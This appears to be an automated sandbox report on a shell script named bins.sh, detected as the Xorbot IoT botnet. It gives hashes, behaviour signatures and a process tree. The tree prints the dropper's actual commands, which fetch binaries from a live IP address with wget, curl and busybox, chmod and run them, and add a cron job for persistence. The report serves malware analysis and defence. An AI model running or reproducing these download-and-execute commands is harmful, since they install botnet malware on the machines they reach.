Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01-12-2024 22:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7187e723d6c6ea19e696987e38c40047

  • SHA1

    2c99d3c07e904340b7d1bcec7afd801fd513c89b

  • SHA256

    6901f203d1426288bdbc5d00984e7c0b3f5858fe8fd416414acec6008b364fe9

  • SHA512

    809dbae9c9c2c1d24653f28bc97f465a8db299c250acee7370187698501afba9c55cd1935d07ed5054a10bfa753648c8f951ac7d1cc04c4818674bc67c1cef85

  • SSDEEP

    192:hWHDT6y8LZfhfRfBfMfwfvg8UzTNR9+B1te+SbtRp+eQjfhfRfBfMfwfrg8UzT/U:hFLhpZJGier+B1te+S2TpZJGiRB1te+x

Malware Config

Signatures

  • Detects Xorbot 5 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Writes file to tmp directory
          PID:669
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:683
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Writes file to tmp directory
          PID:691
        • /bin/chmod
          chmod 777 g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • File and Directory Permissions Modification
          PID:693
        • /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          ./g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:694
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:696
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:697
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:698
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:699
              • /bin/rm
                rm g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
                2⤵
                  PID:701
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
                  2⤵
                    PID:704
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
                    2⤵
                      PID:705
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
                      2⤵
                      • Writes file to tmp directory
                      PID:706
                    • /bin/chmod
                      chmod 777 je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
                      2⤵
                      • File and Directory Permissions Modification
                      PID:707
                    • /tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
                      ./je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
                      2⤵
                      • Executes dropped EXE
                      PID:708
                    • /bin/rm
                      rm je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
                      2⤵
                        PID:709
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                        2⤵
                          PID:710
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                          2⤵
                            PID:711
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                            2⤵
                            • Writes file to tmp directory
                            PID:712
                          • /bin/chmod
                            chmod 777 d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                            2⤵
                            • File and Directory Permissions Modification
                            PID:717
                          • /tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                            ./d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                            2⤵
                            • Executes dropped EXE
                            PID:718
                          • /bin/rm
                            rm d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                            2⤵
                              PID:722
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                              2⤵
                                PID:723
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                                2⤵
                                  PID:725
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:726
                                • /bin/chmod
                                  chmod 777 sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:732
                                • /tmp/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                                  ./sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                                  2⤵
                                  • Executes dropped EXE
                                  PID:734
                                • /bin/rm
                                  rm sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                                  2⤵
                                    PID:736
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                                    2⤵
                                      PID:737
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                                      2⤵
                                        PID:738
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:741
                                      • /bin/chmod
                                        chmod 777 IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:747
                                      • /tmp/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                                        ./IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                                        2⤵
                                        • Executes dropped EXE
                                        PID:748
                                      • /bin/rm
                                        rm IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                                        2⤵
                                          PID:751
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                                          2⤵
                                            PID:752
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                                            2⤵
                                              PID:753
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:755
                                            • /bin/chmod
                                              chmod 777 ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:762
                                            • /tmp/ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                                              ./ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                                              2⤵
                                              • Executes dropped EXE
                                              PID:763
                                            • /bin/rm
                                              rm ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                                              2⤵
                                                PID:765
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9
                                                2⤵
                                                  PID:767
                                                • /usr/bin/curl
                                                  curl -O http://216.126.231.240/bins/sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9
                                                  2⤵
                                                    PID:768
                                                  • /bin/busybox
                                                    /bin/busybox wget http://216.126.231.240/bins/sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:771
                                                  • /bin/chmod
                                                    chmod 777 sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:776
                                                  • /tmp/sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9
                                                    ./sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:777
                                                  • /bin/rm
                                                    rm sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9
                                                    2⤵
                                                      PID:780
                                                    • /usr/bin/wget
                                                      wget http://216.126.231.240/bins/4vR4jl1pWoIwEXpEsWcw8XJnU769dXocJ3
                                                      2⤵
                                                        PID:781

                                                    Network

                                                    MITRE ATT&CK Enterprise v15

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /tmp/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ

                                                      Filesize

                                                      99KB

                                                      MD5

                                                      9438d9bc392bcf300a5583b6df5bc8f6

                                                      SHA1

                                                      375a6ae34b516f6f3eeea8030c4084f585017efa

                                                      SHA256

                                                      68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                      SHA512

                                                      1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                    • /tmp/ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz

                                                      Filesize

                                                      111KB

                                                      MD5

                                                      701e7a55a4f3650f5feee92a9860e5fc

                                                      SHA1

                                                      6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                      SHA256

                                                      ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                      SHA512

                                                      7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                                    • /tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

                                                      Filesize

                                                      151KB

                                                      MD5

                                                      3c90d5820bddcf7c5d1bd21dfa49d958

                                                      SHA1

                                                      5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                      SHA256

                                                      bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                      SHA512

                                                      54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                                    • /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

                                                      Filesize

                                                      177KB

                                                      MD5

                                                      786d75a158fe731feca3880f436082c0

                                                      SHA1

                                                      79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                      SHA256

                                                      5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                      SHA512

                                                      7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                    • /tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ

                                                      Filesize

                                                      141KB

                                                      MD5

                                                      3ca8decdb1e52c423c521bfff02ac200

                                                      SHA1

                                                      8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                      SHA256

                                                      dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                      SHA512

                                                      b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                    • /tmp/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM

                                                      Filesize

                                                      117KB

                                                      MD5

                                                      849fa04ef88a8e8de32cb2e8538de5fe

                                                      SHA1

                                                      c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                      SHA256

                                                      8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                      SHA512

                                                      2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                                    • /tmp/sg6539qlqm023BmK8Hyzwh5dqiQZUNU4y9

                                                      Filesize

                                                      111KB

                                                      MD5

                                                      ca897a38f23ec23521ce0b1b83f8422d

                                                      SHA1

                                                      b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                      SHA256

                                                      043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                      SHA512

                                                      10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                    • /var/spool/cron/crontabs/tmp.X5TNvg

                                                      Filesize

                                                      210B

                                                      MD5

                                                      903174dcaaaccd1b0ba9f0bb66757d59

                                                      SHA1

                                                      d5772b5a0a6ffbb9e0882221a83dc1b22b166c6e

                                                      SHA256

                                                      9997630a1d9ec47c6e71ef991a802093af813909bc1c222a2142715164a5610b

                                                      SHA512

                                                      3d03b6853d741d4a6b90e90c552178020fae4d549990a70acff887203d1f38ad21be9cf7775dbfdd04bd83c652e2c2f051a9b1035e89bc3ca59f63eefce01acf